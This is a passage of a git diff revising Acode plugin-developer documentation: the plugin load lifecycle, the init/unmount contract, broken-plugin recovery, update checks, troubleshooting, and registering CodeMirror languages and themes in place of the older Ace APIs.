+- **CSS / HTML** for any UI you add. Acode's pages are DOM elements, so you set `innerHTML` and style them with your own stylesheet.
+- The **`acode` global** (`window.acode`) — your gateway to the Acode API. Guard your registration with `if (window.acode)`.
+- **`acode.require(name)`** for built-in modules such as `commands`, `fs`, `Url`, and `settings`. Names are case-insensitive, and `fileIcons` is the one module bound per plugin. Globals such as `editorManager` are plain `window` properties — read them directly, do not `require` them.
+
+:::info
+The Acode object is a global — you do not import it. `window.acode` is available by the time plugin scripts run, but keeping the `if (window.acode)` guard costs nothing and keeps the template working outside Acode.
+:::
+
+### What You Can Build <Badge type="tip" text="new" />
+
+- **Commands and keybindings** in the command palette
+- **Settings pages** for your plugin's own options
+- **Editor tooling** — formatters, icon packs, syntax highlighting, language servers
+- **UI surfaces** — sidebar apps, side buttons, context-menu entries, full pages
+- **File handling** — custom file handlers, projects, file-type hooks
+- **Integrations** — terminals, webviews, intents, and other plugins via `acode.waitForPlugin`
+
+## Next Steps
+
+- **[Create new plugin](./create-plugin.md)** — scaffold, build a zip, and install it
+- **[Understanding Plugins](./understanding-plugin.md)** — the load/unload lifecycle, failure behavior, and troubleshooting
+- **[Manifest — `plugin.json`](../plugin-essentials/manifest.md)** — every field the installer reads
+- **[Plugin Main File](../plugin-essentials/core-file.md)** — writing and registering your entry file
+
 ## Installing Acode Plugins
 
 Discovering and integrating plugins into your Acode editor is a simple and customizable process. There are multiple methods to install plugins, ensuring flexibility and convenience for developers. Before you proceed, it's essential to exercise caution when installing plugins from unknown sources, as they may potentially contain malicious code.
@@ -45,8 +72,8 @@ Discovering and integrating plugins into your Acode editor is a simple and custo
 
 :::info
 
-**Source Persistence:**
-Once installed, plugins remember their source. If you choose to uninstall and reinstall, the plugin will be sourced from the same location, ensuring consistency in your development environment.
+**Remembered Source:**
+When you install from a URL or a picked file, Acode records that source in the installed `plugin.json` as `source`. That is why the sidebar's **Extensions** tab shows a reload icon for the plugin — pressing it re-runs the install from the same source. Uninstalling deletes the plugin folder along with that value, so a fresh install asks for the source again.
 :::
 
 :::danger
diff --git a/docs/getting-started/understanding-plugin.md b/docs/getting-started/understanding-plugin.md
index 15e3396..9c18259 100644
--- a/docs/getting-started/understanding-plugin.md
+++ b/docs/getting-started/understanding-plugin.md
@@ -19,28 +19,111 @@ If you skip `setPluginInit`, your script may load, but your plugin logic will no
 
 ## Lifecycle In One View
 
-1. Acode discovers plugin folders.
-2. It decides which plugins to load (enabled, not broken, not already loaded).
-3. It loads your entry script.
-4. It calls your registered `init` with runtime context.
-5. Later, on disable/uninstall/reload, it calls your registered `unmount`.
+1. Acode discovers plugin folders — one directory per plugin inside `PLUGIN_DIR`.
+2. It decides which plugins to load (enabled, not broken, not already loaded, and non-theme for the first pass).
+3. It appends a `<script>` tag for your entry script, which runs and calls `acode.setPluginInit` / `acode.setPluginUnmount`.
+4. When that script finishes loading, Acode calls your registered `init` with runtime context and **awaits** it.
+5. Before loading (and on disable/uninstall), Acode calls your registered `unmount`, if you registered one.
+
+```text
+www/index.html
+  └─ build/boot.js ............. picks dev-server assets or ./build/main.css|main.js
+       └─ app main.js
+            ├─ window.PLUGIN_DIR    = DATA_STORAGE + "/plugins"
+            ├─ window.CACHE_STORAGE = <cache dir>
+            ├─ loadApp()  ...
+            └─ setTimeout(500ms)
+                 └─ loadPlugins() ......................... non-theme plugins
+                      ├─ lsDir(PLUGIN_DIR)
+                      ├─ toast("Loading plugins")
+                      ├─ skip: LOADED / pluginsDisabled / BROKEN
+                      ├─ loadPluginWithTimeout(id) ........ in parallel, one 15s timeout each
+                      │    └─ loadPlugin(id)
+                      │         ├─ await connect() ........ trusted native session
+                      │         ├─ acode.unmountPlugin(id) .. OLD destroy() runs here
+                      │         ├─ remove <script id="<id>-mainScript">
+                      │         ├─ read PLUGIN_DIR/<id>/plugin.json
+                      │         ├─ <script> appended → your main.js runs (registers init/unmount)
+                      │         └─ onload:
+                      │              ├─ create CACHE_STORAGE/<id> if missing
+                      │              └─ acode.initPlugin(id, baseUrl, $page, options)
+                      │                   └─ await #pluginsInit[id](baseUrl, $page, options)
+                      │                        └─ LOADED_PLUGINS.add(id) + onPluginLoadCallback
+                      └─ acode[onPluginsLoadCompleteCallback]()
+            └─ loadPlugins(true) ......................... theme plugins only
+```
+
+## Boot Order: Discovery To Init <Badge type="tip" text="new" />
+
+:::info
+`build/boot.js` is the only script the HTML entry point loads directly. It never imports the app; it injects `build/main.css` and `build/main.js` (from the dev server in dev mode, from `./build/` otherwise). Everything below happens inside the app's `main.js`.
+:::
+
+**1. Discovery.** `loadPlugins()` lists `PLUGIN_DIR`. **The directory name *is* the plugin id** — every later lookup uses `Url.basename(dir.url)`, so the folder must match `plugin.json`'s `id`.
+
+**2. Filtering.** A plugin is skipped when:
+
+| Skip condition | Source |
+| --- | --- |
+| Already in `LOADED_PLUGINS` | `LOADED_PLUGINS` set |
+| `settings.pluginsDisabled[id] === true` | the user's (or Acode's) disable flag |
+| Present in `BROKEN_PLUGINS` | failed or timed-out this session |
+
+The first pass (`loadPlugins()`) loads **non-theme** plugins only; a second pass (`loadPlugins(true)`) loads theme plugins. Theme plugins are detected by keyword matching against the plugin id (`theme`, `catppuccin`, `githubdark`, `synthwave`, `monokai`, …) — so an id containing one of those words is treated as a theme and is skipped by the first pass.
+
+**3. Per-plugin load.** Each surviving plugin goes through `loadPluginWithTimeout()`, all in parallel, with a **15 s** budget. `loadPlugin()` then:
+
+1. `await connect()` — establishes the trusted native session *before* any plugin script runs.
+2. Calls `acode.unmountPlugin(pluginId)` so the *previous* version's `unmount` runs while it still exists (see [Disable / Enable / Uninstall](#what-happens-on-disable-enable-uninstall)).
+3. Removes the old `<script id="<pluginId>-mainScript">` so the browser refetches the source.
+4. Reads `PLUGIN_DIR/<id>/plugin.json` as JSON.
+5. Uses `pluginJson.main` if that file exists in the folder, otherwise falls back to `main.js`.
+6. Binds a plugin-scoped `fileIcons` API to the `<script>` element, then appends it.
+
+Your `main.js` runs at this point and is expected to call `acode.setPluginInit(...)` / `acode.setPluginUnmount(...)`.
+
+**4. Init.** On the script's `onload`, Acode creates the cache file if missing and calls `acode.initPlugin(pluginId, baseUrl, $page, options)`, which **awaits** your init callback.
+
+**5. Completion.** A successful load adds the id to `LOADED_PLUGINS`, fires the per-plugin load callback, clears any stale broken mark, and — for a fresh install — clears the auto-disable flag. When the whole batch settles, `onPluginsLoadCompleteCallback` rejects any still-pending `waitForPlugin` waiters.
+
+:::warning
+Your `init` is awaited, so a slow `init` consumes part of the 15 s budget and delays `onPluginsLoadCompleteCallback` for *every* plugin. Register quickly and defer expensive work.
+:::
+
+## Where Your Plugin Files Live <Badge type="tip" text="new" />
+
+| Path | What it is |
+| --- | --- |
+| `PLUGIN_DIR` | `DATA_STORAGE + "/plugins"`. Each plugin lives in `PLUGIN_DIR/<pluginId>/`. |
+| `baseUrl` | Internal URL of `PLUGIN_DIR/<pluginId>`. **No trailing slash** — the loader does `Url.join(baseUrl, pluginJson.main)`, so `Url.join(baseUrl, "icons/x.svg")` is the correct way to build asset URLs. |
+| `CACHE_STORAGE/<pluginId>` | A single **file** (not a directory), created by the loader if it does not exist. Exposed as `options.cacheFile` (filesystem handle) and `options.cacheFileUrl`. |
+
+The cache file is deleted by `acode.unmountPlugin()` — and `unmountPlugin()` runs at the *start* of every load. Because `unmountPlugin()` only performs the delete when an unmount callback is registered, a plugin without `setPluginUnmount` keeps its cache file, while a plugin with one starts every load with an empty cache file.
+
+:::warning
+Treat `cacheFile` as scratch space only. It is deleted on unmount/reload; use `fs` inside `PLUGIN_DIR` or `acode.require("settings")` for anything that must survive.
+:::
 
 ## What You Get In `init`
 
 The `init` callback registered with `setPluginInit` receives three arguments:
 
-- `baseUrl`: internal base URL to your plugin files (normalize it with a trailing slash, see below)
-- `$page`: a plugin page object for UI screens
+- `baseUrl`: internal base URL to your plugin files (**no trailing slash** — the loader itself joins it with `pluginJson.main`, so use `Url.join(baseUrl, "icons/x.svg")`; the template adds the slash itself before storing it)
+- `$page`: a plugin page object for UI screens. `$page.show()` appends it to the app and pushes `$page.hide` on the action stack; `$page.onhide` pops it.
 - `options`: object with:
   - `cacheFileUrl`
   - `cacheFile`
   - `firstInit`
   - `ctx`
-  - `fileIcons` — plugin-bound [File Icons](../utilities/file-icons.md) API (versionCode `1012+`)
+  - `fileIcons` — plugin-bound [File Icons](../utilities/file-icons.md) API. It is the same instance you get from `acode.require("fileIcons")` in the main script, and it stays bound across `await`s and callbacks. It is the *only* module that is per-plugin; every other `acode.require(...)` returns a shared global module.
 
-Use `firstInit` for one-time setup or migration.
+Use `firstInit` for one-time setup or migration. It is `true` only when the plugin was just installed (`installPlugin` passes `justInstalled: true`), and `false` on every subsequent load, reload and re-enable.
 
-`ctx` is your plugin's native-backed context: encrypted secret storage and permission checks. See [Plugin Context (`ctx`)](../plugin-essentials/plugin-context.md).
+`ctx` is your plugin's native-backed context: encrypted secret storage and permission checks. See [Plugin Context (`ctx`)](../plugin-essentials/plugin-context.md). It can be `null` if the trusted native session is unavailable, so guard it.
+
+:::info
+**Version numbers.** Acode v1.13.5 declares `android-versionCode="1011"` in `config.xml`. Only cite a versionCode you can point at in the app source or its `CHANGELOG.md`; the loader itself never checks `minVersionCode`, and the [File Icons](../utilities/file-icons.md) page is the reference for when that API became available.
+:::
 
 ## Recommended `main.js` Shape
 
@@ -83,16 +166,38 @@ Breaking that down:
 - `baseUrl` is stored with a guaranteed trailing slash so you can build file paths with `Url.join` or string concatenation.
 - `destroy()` is wired to `setPluginUnmount` so it runs on disable/reload/uninstall. `init` is awaited, so heavy setup can be done inside it.
 
+## The Init Contract <Badge type="tip" text="new" />
+
+There are four functions in the contract. You call two of them; Acode calls the other two.
+
+| Function | Caller | Signature |
+| --- | --- | --- |
+| `acode.setPluginInit` | you | `(id: string, init: (baseUrl, $page, options) => any, settings?: { list, cb })` |
+| `acode.setPluginUnmount` | you | `(id: string, unmount: () => any)` |
+| `acode.initPlugin` | Acode | `async (id, baseUrl, $page, options)` → `await #pluginsInit[id](baseUrl, $page, options)` |
+| `acode.unmountPlugin` | Acode | `(id)` — calls the unmount callback synchronously, in a `try`/`catch` |
+
+Key facts:
+
+- **Registration happens in the main script, init runs later.** `setPluginInit` only stores your function in a map keyed by plugin id. If you never call it, `initPlugin` finds nothing and does nothing — your plugin is loaded but inert.
+- **The third `setPluginInit` argument is optional.** Pass `{ list, cb }` and Acode builds a settings page for you, stored under `appSettings.uiSettings["plugin-<id>"]`; `unmountPlugin` deletes it. This is why plugin settings disappear on disable.
+- **`initPlugin` awaits your init.** Returning a promise is the supported way to do async setup; the loader will not proceed until it settles.
+- **`unmount` is not awaited.** `unmountPlugin()` is synchronous. If your cleanup is async, fire it and do not block on it.
+- **A throwing unmount does not break unmounting.** It is caught and logged as `Error while calling unmount callback for plugin "<id>"`; the cache file, settings page and icon registrations are still cleaned up.
+
 ## What Happens On Disable / Enable / Uninstall
 
 - Disable:
-  - Acode calls `acode.unmountPlugin(id)` which triggers your registered unmount (your class's `destroy()`).
-  - Plugin runtime state is cleared (including plugin cache file).
+  - Acode flips `settings.pluginsDisabled[id] = true`, then calls `acode.unmountPlugin(id)` which triggers your registered unmount (your class's `destroy()`).
+  - Plugin runtime state is cleared (including plugin cache file, the plugin settings page, and any File Icons packs it registered).
+  - The plugin folder stays on disk. It is simply skipped on the next load.
 - Enable:
-  - Acode loads the plugin again and runs init again.
+  - Acode deletes the disable flag, then loads the plugin again and runs init again.
+  - From the sidebar, the "more" menu offers **Restart App** or a **single** enable/disable; in Settings → Plugins the toggle is immediate.
 - Uninstall:
-  - Plugin files are removed.
-  - Acode runs unmount cleanup for loaded resources.
+  - The plugin folder (`PLUGIN_DIR/<id>`) and its install state are deleted, the `<script>` tag is removed, and `acode.unmountPlugin(id)` runs for anything still loaded.
+- Reload / reinstall:
+  - `loadPlugin()` calls `acode.unmountPlugin(pluginId)` **before** appending the new `<script>`. This is deliberate: once your new script runs it calls `setPluginUnmount(id, newDestroy)`, which would overwrite the old destroy callback and make it uncallable. Unmounting first guarantees the old version cleans up its sidebar app, commands and listeners.
 
 Treat `init` as repeatable and `destroy` as mandatory cleanup.
 
@@ -100,15 +205,177 @@ Treat `init` as repeatable and `destroy` as mandatory cleanup.
 
 If your plugin throws during load/init:
 
-- it is marked as broken for the session flow,
-- Acode skips loading it again until user/action retries it.
+- it is added to the `BROKEN_PLUGINS` map (`{ error, timestamp }`) and recorded in `AUTO_DISABLED_PLUGINS`,
+- Acode writes `pluginsDisabled[id] = true` in settings, so it appears switched off in the plugin list,
+- it is skipped on every subsequent load pass until the mark is cleared,
+- the other plugins keep loading — one failure never aborts the batch.
+
+Two different failure shapes are reported:
+
+```text
+Failed to load script for plugin <id>: <error.message | error>   # <script> fetch/execute failed (loadPlugin)
+Plugin load timeout                                              # init did not settle within 15s (loadPlugins)
+Error loading plugin <id>: <error>                               # console.error from the batch loader
+```
+
+:::info
+A timeout is not an immediate disable. At **15 s** the plugin is recorded in `BROKEN_PLUGINS` with the error `Plugin load timeout`, but loading continues in the background. At **60 s** in total, if the plugin still has not settled and is not in `LOADED_PLUGINS`, Acode marks it broken and auto-disables it. A plugin that settles in between still succeeds: its broken mark is cleared and it is marked loaded normally.
+:::
+
+### The retry / clear-broken-mark flow
+
+```js
+acode.clearBrokenPluginMark("com.example.plugin");   // deletes the BROKEN_PLUGINS entry only
+```
+
+`clearBrokenPluginMark()` is deliberately narrow: it removes the session mark so the next load pass considers the plugin again. It does **not** clear the disable flag that `markPluginBroken` wrote into settings, so on its own it is not enough. To retry a broken plugin:
+
+1. Turn it back on in **Settings → Plugins** (or **Extensions** in the sidebar). That deletes `pluginsDisabled[id]`; the enable toggle in the Plugins page then calls `loadPlugin(id)` straight away.
+2. Or reinstall it — `installPlugin()` loads with `justInstalled: true`, and a successful load clears both the broken mark and the auto-disable flag.
+
+Once a load succeeds, `markPluginLoaded()` deletes the broken mark and, for a fresh install or an auto-disabled plugin, re-enables it.
+
+## Waiting For Another Plugin <Badge type="tip" text="new" />
+
+Plugins load **in parallel**, so your `init` may run before, after, or during another plugin's `init`. Never assume another plugin's API already exists at init time.
+
+The loader keeps three pieces of state:
 
-For programmatic recovery:
+| State | Meaning |
+| --- | --- |
+| `LOADED_PLUGINS` | `Set` of plugin ids whose load completed successfully |
+| `onPluginLoadCallback` | Fired with the id right after a successful load — resolves matching `waitForPlugin` waiters |
+| `onPluginsLoadCompleteCallback` | Fired once the whole batch settles — **rejects** every still-pending `waitForPlugin` waiter with `` Plugin '<id>' failed to load. `` |
+
+`acode.waitForPlugin(pluginId)` returns a promise that resolves `true` immediately if the plugin is already loaded, resolves `true` when it loads, and **rejects** if the batch finishes first without it. Full reference: [`acode.waitForPlugin`](../global-apis/acode.md).
 
 ```js
-acode.clearBrokenPluginMark("com.example.plugin");
+acode.setPluginInit(plugin.id, async (baseUrl, $page) => {
+	try {
+		await acode.waitForPlugin("com.example.other-plugin");
+		// safe to use the other plugin's exports now
+	} catch {
+		// the other plugin is missing, broken or disabled — degrade gracefully
+	}
+});
+```
+
+:::tip
+For non-critical cross-plugin wiring, the lazier option is to resolve the dependency **inside the command's `exec`**. By then every plugin has settled, and nothing you register can fail at load time.
+:::
+
+## Update Checks <Badge type="tip" text="new" />
+
+Once per app start, after the app update check, Acode lazily imports `lib/checkPluginsUpdate` and runs it. For every directory in `PLUGIN_DIR` it:
+
+1. reads `plugin.json`,
+2. requests `GET {API_BASE}/plugin/check-update/<id>/<version>`,
+3. if the response is OK and says an update exists, prefers `json.version` and compares it with the installed version; otherwise it falls back to fetching `{API_BASE}/plugin/<id>` and comparing that `version`,
+4. collects the ids where `isVersionGreater(remote, local)` is true.
+
+Per-plugin failures are swallowed (`Promise.allSettled`), so one bad plugin never hides the others.
+
+What the user sees:
+
+- A notification titled **Plugin Updates** with the body *"1 plugin has a new version available."* or *"{count} plugins have new versions available."*
+- Tapping it opens the Plugins page filtered to exactly those ids; from there each plugin shows an **Update** action instead of the enable/disable toggle.
+
+:::warning
+The check queries the Acode registry only. A plugin you installed from your own zip URL or a local file is compared against the registry entry with the same id — if there is none, no update is ever reported. It also runs once per app start; there is no background polling.
+:::
+
+## Lifecycle Cheat Sheet <Badge type="tip" text="new" />
+
+| Hook | When | What to do |
+| --- | --- | --- |
+| main script body | The `<script>` tag executes, before `init` | Register `init`/`unmount`; grab per-plugin APIs synchronously (e.g. `acode.require("fileIcons")`) |
+| `init(baseUrl, $page, options)` | Once per successful load, **awaited** by the loader | Register commands, sidebar apps, UI hooks. Return early and defer heavy work |
+| `options.firstInit` | `true` only on a fresh install | One-time setup, migrations, seeding defaults |
+| `options.cacheFile` | Created before `init`, deleted on unmount | Scratch data only |
+| `options.ctx` | Available at `init`, may be `null` | Secrets/permissions — guard for `null` |
+| `destroy()` / unmount | Before a reload, and on disable / uninstall | Remove commands, listeners, intervals, dispose icon registrations |
+| `acode.waitForPlugin(id)` | When your plugin needs another plugin | Gate cross-plugin use; always `.catch()` |
+| `commands.removeCommand(name)` | In `destroy` | Register with `acode.require("commands")`, unregister by the same `name` |
+
+## Troubleshooting <Badge type="tip" text="new" />
+
+### My plugin doesn't load at all
+
+- `plugin.json` must sit at the **root** of the zip. The installer reads `zip.files["plugin.json"]` and throws `Invalid Plugin` otherwise.
+- The zip **must** contain the file named by `main`. The installer patches `main` to `main.js` when that entry is missing and rewrites `plugin.json` with the patch, then throws `Invalid Plugin` if `main.js` is missing too. `loadPlugin()` applies the same `main` → `main.js` fallback, so a `main` pointing at a file that is not in the folder produces a `Failed to load script for plugin <id>` error instead of a clear message.
+- The **folder name must equal `plugin.json`'s `id`**. Discovery uses `Url.basename(dir.url)` as the id everywhere.
+- The plugin may simply be disabled: `pluginsDisabled[id] === true` (user toggle, or auto-disabled after a failure) makes it skip silently.
+- If it is a theme-looking id (contains `theme`, `monokai`, `synthwave`, …) it is skipped by the first load pass and only loaded by the theme pass.
+- `minVersionCode` is **not** checked by the loader. It is only used by the plugin page, which reads the registry's `min_version_code` and shows *"… only available in Acode - {v-code} and above. Click here to update."* when your build is older.
+
+### My plugin throws while loading
+
+Look for the loader's exact messages:
+
+```text
+Failed to load script for plugin <id>: <error.message | error>
+Plugin load timeout
+Error loading plugin <id>: <error>
 ```
 
+Remember that the failing plugin is auto-disabled and marked broken — after fixing the cause, re-enable it or reinstall it (see [the retry flow](#the-retry-clear-broken-mark-flow)).
+
+### My command doesn't show up / does nothing
+
+- `commands.addCommand` is a no-op with a warning if `name` is missing (`Command registration skipped: missing name`) or if `exec` isn't a function (``Command registration skipped for "<name>": exec must be a function.``).
+- If the registration itself throws, `Failed to add command <name>` is logged and the error is re-thrown — so an exception in `init` right after `addCommand` will abort the rest of your init.
+- `requiresView` defaults to **`true`**, so a command that runs with no active editor view resolves to `false` and appears to do nothing. Pass `requiresView: false` for commands that do not need a view.
+- Throwing inside `exec` is caught and logged as `Command "<name>" failed`.
+- Registering the same `name` twice **replaces** the earlier registration rather than erroring — which is exactly what happens when a plugin reloads without the old registration being removed.
+
+### `ctx` is `null`
+
+If the trusted native session cannot be established, Acode logs `PluginContext creation failed for pluginId <id>: no trusted session` and passes `null`. Treat `ctx` as optional:
+
+```js
+acode.setPluginInit(plugin.id, async (baseUrl, $page, { ctx }) => {
+	if (!ctx) return; // secrets/permissions unavailable
+});
+```
+
+### Another plugin's commands aren't registered yet at init time
+
+This is expected — plugins load in parallel. Two fixes:
+
+```js
+// 1. wait for the dependency (and always catch: it may never load)
+await acode.waitForPlugin("com.example.other-plugin");
+
+// 2. or resolve lazily, at the moment you actually need it
+acode.setPluginInit(plugin.id, async (baseUrl, $page) => {
+	const commands = acode.require("commands");
+
+	commands.addCommand({
+		name: "example.use-other",
+		exec: async () => {
+			await acode.waitForPlugin("com.example.other-plugin");
+			// ... the other plugin's API is guaranteed to be ready here
+		},
+	});
+});
+```
+
+`acode.require("commands")` itself is always available (it is registered on the `acode` instance at construction), so the race is only ever about *other plugins*, never about core modules.
+
+## Where This Behavior Lives <Badge type="tip" text="new" />
+
+Every statement above is taken from the Acode app source, so you can verify it against your own build:
+
+| Concern | File |
+| --- | --- |
+| App entry, plugin loading trigger, update check, notifications | `src/main.js`, `src/boot.js` |
+| Discovery, filtering, parallel load, timeouts, broken/auto-disable bookkeeping | `src/lib/loadPlugins.js` |
+| Per-plugin load, `plugin.json` read, `<script>` injection, `initPlugin` call | `src/lib/loadPlugin.js` |
+| `setPluginInit` / `initPlugin` / `setPluginUnmount` / `unmountPlugin` / `waitForPlugin` / `clearBrokenPluginMark` | `src/lib/acode.js` |
+| Zip layout, manifest patching, install-state cleanup, dependencies | `src/lib/installPlugin.js` |
+| Registry update detection | `src/lib/checkPluginsUpdate.js` |
+| Registry base URL and app constants | `src/lib/config.js` |
+
 ## Author Guidelines
 
 - Keep `init` fast; do heavy work lazily.
diff --git a/docs/global-apis/ace.md b/docs/global-apis/ace.md
index 3c6931f..010c2d7 100644
--- a/docs/global-apis/ace.md
+++ b/docs/global-apis/ace.md
@@ -6,26 +6,297 @@ This page exists for plugin migration from Ace-era APIs.
 
 ## What To Use Now
 
-- Use `editorManager.editor` as the active editor view (`EditorView`).
+- Use `window.editorManager.editor` as the active editor view (`EditorView`).
 - Use `acode.require("commands")` for command registration/removal.
 - Use `acode.require("editorLanguages")` to register or remove language modes.
 - Use `acode.require("editorThemes")` to register or apply editor themes.
 - Use `acode.require("codemirror")` (or `@codemirror/*` / `@lezer/*`) for the same CodeMirror packages the app uses — see [CodeMirror packages](../utilities/codemirror.md).
-- Use `editorManager.isCodeMirror` to check whether current acode uses codemirror or ace, if its true then its codemirror and if it is null or undefined then its ace.
+- Use `acode.require("codeHighlight")` to highlight static code blocks — see [Code Highlight](../utilities/code-highlight.md).
+- Use `editorManager.isCodeMirror` as a cheap capability probe. It is a hard-coded `true` in this build, so it can never be `null`/`undefined` here — there is no Ace fallback to detect.
+
+## Ground Truth For This Version
+
+| Fact | Value |
+|---|---|
+| App version | `1.13.5` |
+| `android-versionCode` | `1011` |
+| Editor engine | CodeMirror 6 only |
+| Ace engine bundled? | No — no `ace.edit`, no Ace editor instance, no Ace mode files |
+
+::: warning
+`aceModes` is a misleading name and nothing more. It is a thin wrapper over the CodeMirror mode registry — it does not load Ace and has no Ace mode objects behind it. Modes registered through it behave exactly like modes registered through `editorLanguages`.
+:::
 
 ## Legacy Compatibility
 
 Acode still provides some Ace-like compatibility for older plugins:
 
-- `editorManager.editor.session` exposes a session object with Ace-style helper methods.
+- `editorManager.editor.session` exposes a `Proxy` over the file's CodeMirror `EditorState` with Ace-style helpers (`getValue`, `setValue`, `getLine`, `getLength`, `getTextRange`, `insert`, `remove`, `replace`, `getWordRange`).
 - `acode.require("aceModes")` still maps to mode registration helpers.
+- A `window.ace` object is installed at startup. It is **not** the Ace library — it only adds one shimmed module:
+
+```js
+const modelist = window.ace.require("ace/ext/modelist"); // also "ace/ext/modelist.js"
+```
+
+That compat module exposes `modes`, `modesByName` and `getModeForPath(path)`, where every mode object additionally carries `mode: "ace/mode/<name>"`. `ace.require()` for any other module id returns `undefined` unless a plugin installed its own `ace.require` beforehand, and `ace.edit()`, `ace.define()` and the Ace editor object do not exist.
 
 These compatibility layers are for transition only. Prefer CodeMirror-first APIs for new plugins.
 
+## `acode.require("aceModes")`
+
+```js
+const aceModes = acode.require("aceModes");
+```
+
+| Method | Signature | Returns |
+|---|---|---|
+| `addMode` | `(name, extensions, caption?, loader?)` | `void` |
+| `removeMode` | `(name)` | `void` |
+| `getModeForPath` | `(path)` | `Mode` |
+| `getModes` | `()` | `Mode[]` (a copy) |
+| `getModesByName` | `()` | `Record<string, Mode>` (a copy) |
+| `getMode` | `(name)` | `Mode \| null` |
+
+`aceModes.addMode` and `aceModes.removeMode` are the *same function references* as `editorLanguages.add`/`register` and `editorLanguages.remove`/`unregister` — the two modules are interchangeable.
+
+## `acode.require("editorLanguages")`
+
+```js
+const editorLanguages = acode.require("editorLanguages");
+```
+
+| Method | Aliases | Signature | Returns |
+|---|---|---|---|
+| `register` | `add` | `(name, extensions, caption?, loader?)` | `void` |
+| `unregister` | `remove` | `(name)` | `void` |
+| `list` | – | `()` | `Mode[]` (a copy) |
+| `listByName` | – | `()` | `Record<string, Mode>` (a copy) |
+| `get` | – | `(name)` | `Mode \| null` |
+| `getForPath` | – | `(path)` | `Mode` |
+
+### `addMode(name, extensions, caption, loader)` argument semantics
+
+| Argument | Type | Meaning |
+|---|---|---|
+| `name` | `string` | Mode id. Trimmed and lowercased. This is what `file.currentMode` becomes and what `getMode` / `listByName` keys on. |
+| `extensions` | `string \| string[]` | An array is joined with `\|`. Each `\|`-separated part is either a bare file extension (`js`, `mjs`, `zsh`) or an anchored exact filename prefixed with `^` (`^Dockerfile`, `^.babelrc`). |
+| `caption` | `string` (optional) | UI label. Defaults to `name` with `_` replaced by spaces. |
+| `loader` | `() => Extension \| Promise<Extension>` (optional) | Returns the CodeMirror language extension. May be sync or async — Acode reconfigures the language compartment as soon as the promise settles. |
+
+Resolution order when mapping a filename to a mode (`getForPath`): anchored / regex filename matches first, then extension matches ranked by specificity (a `^` pattern scores above every extension, longer extensions beat shorter ones), then a linear `supportsFile()` scan, then the `text` mode.
+
+### The `Mode` object
+
+| Member | Type | Description |
+|---|---|---|
+| `name` | `string` | Normalized mode id |
+| `mode` | `string` | Alias of `name` (kept for Ace-era readers) |
+| `caption` | `string` | UI label |
+| `extensions` | `string` | The `\|`-joined pattern string |
+| `aliases` | `string[]` | Registered aliases |
+| `extRe` | `RegExp \| null` | Compiled filename matcher |
+| `filenameMatchers` | `RegExp[]` | Extra filename regexes |
+| `languageExtension` | `Function \| null` | The raw loader |
+| `supportsFile(filename)` | `() => boolean` | Does this mode claim the filename? |
+| `getExtension()` | `() => Function \| null` | Returns `languageExtension` |
+| `isAvailable()` | `() => boolean` | `languageExtension !== null` |
+
+Apply a registered mode to a file:
+
+```js
+window.editorManager.activeFile?.setMode("myMode");
+```
+
+## `acode.require("editorThemes")`
+
+```js
+const editorThemes = acode.require("editorThemes");
+```
+
+### `register(spec) -> boolean`
+
+Returns `false` (and logs a warning) when the spec is malformed, the id is empty, the id is already registered, or the produced extensions cannot be composed into an `EditorState`.
+
+| Field | Aliases | Type | Required | Description |
+|---|---|---|---|---|
+| `id` | `name` | `string` | yes | Theme id. Trimmed and lowercased. |
+| `caption` | `label` | `string` | no | UI label. Defaults to the id. |
+| `isDark` | `dark` | `boolean` | no | Whether the theme is dark. Defaults to `false`. `isDark` wins when both are present. |
+| `getExtension` | `extensions`, `extension`, `theme` | `Extension \| Extension[] \| () => Extension \| Extension[]` | yes | The CodeMirror extension(s), or a function returning them. |
+| `config` | – | `object` | no | Theme metadata (colors), used by `getConfig`. |
+
+### Theme management
+
+| Method | Signature | Returns |
+|---|---|---|
+| `unregister` | `(id)` | `void` |
+| `list` | `()` | `Array<{ id, caption, isDark, getExtension, config }>` |
+| `get` | `(id)` | theme object or `null` |
+| `getConfig` | `(id)` | The theme's `config`, or the built-in `one_dark` config |
+| `apply` | `(id)` | `boolean` — applies the theme to the active editor view |
+| `createTheme` | `({ styles, dark = false, highlightStyle, extensions = [] })` | `Extension[]` |
+| `createHighlightStyle` | `(spec)` | `HighlightStyle` from an array of tag rules, or the value itself |
+
+### `cm`
+
+The theme module ships a small CodeMirror namespace of its own:
+
+```js
+const { cm } = acode.require("editorThemes");
+
+cm.EditorView;          // @codemirror/view
+cm.HighlightStyle;      // @codemirror/language
+cm.syntaxHighlighting;  // @codemirror/language
+cm.tags;                // @lezer/highlight
+```
+
+::: tip
+See [Editor Themes API](../utilities/editor-themes.md) for a full theme-plugin walkthrough.
+:::
+
+## Complete Example
+
+Register a language (StreamLanguage and/or Lezer) plus a theme.
+
+```js
+// acode.setPluginInit / setPluginUnmount style registration
+const editorLanguages = acode.require("editorLanguages");
+const editorThemes = acode.require("editorThemes");
+const { StreamLanguage, HighlightStyle, LanguageSupport, syntaxHighlighting } =
+  acode.require("@codemirror/language");
+const { tags } = acode.require("@lezer/highlight");
+
+const MODE_NAME = "example_notes";
+
+const notesHighlight = HighlightStyle.define([
+  { tag: tags.keyword, color: "#c678dd" },
+  { tag: tags.string, color: "#98c379" },
+  { tag: tags.comment, color: "#5c6370" },
+]);
+
+// A StreamLanguage needs no external parser bundle.
+const notesStream = StreamLanguage.define({
+  name: MODE_NAME,
+  token(stream) {
+    if (stream.match(/^@[\w-]+/)) return "keyword";
+    if (stream.match(/^"(?:[^"\\]|\\.)*"/)) return "string";
+    if (stream.match(/^#.*/)) return "comment";
+    stream.next();
+    return null;
+  },
+  languageData: {
+    commentTokens: { line: "#" },
+  },
+});
+
+acode.setPluginInit("com.example.lang", () => {
+  // name, extensions (no dots), caption, loader
+  editorLanguages.register(MODE_NAME, ["notes", "note"], "Notes", () =>
+    new LanguageSupport(notesStream, [syntaxHighlighting(notesHighlight)]),
+  );
+
+  editorThemes.register({
+    id: "example_notes_dark",
+    caption: "Example Notes Dark",
+    dark: true,
+    getExtension: () =>
+      editorThemes.createTheme({
+        dark: true,
+        styles: {
+          "&": { backgroundColor: "#101418", color: "#e6edf3" },
+          ".cm-gutters": { backgroundColor: "#101418", color: "#637083" },
+          ".cm-activeLine": { backgroundColor: "#18202a" },
+        },
+        highlightStyle: notesHighlight,
+      }),
+    config: {
+      name: "example_notes_dark",
+      dark: true,
+      background: "#101418",
+      foreground: "#e6edf3",
+    },
+  });
+});
+
+acode.setPluginUnmount("com.example.lang", () => {
+  editorLanguages.unregister(MODE_NAME);
+  editorThemes.unregister("example_notes_dark");
+});
+
+// Switch an open tab to the new mode and preview the theme.
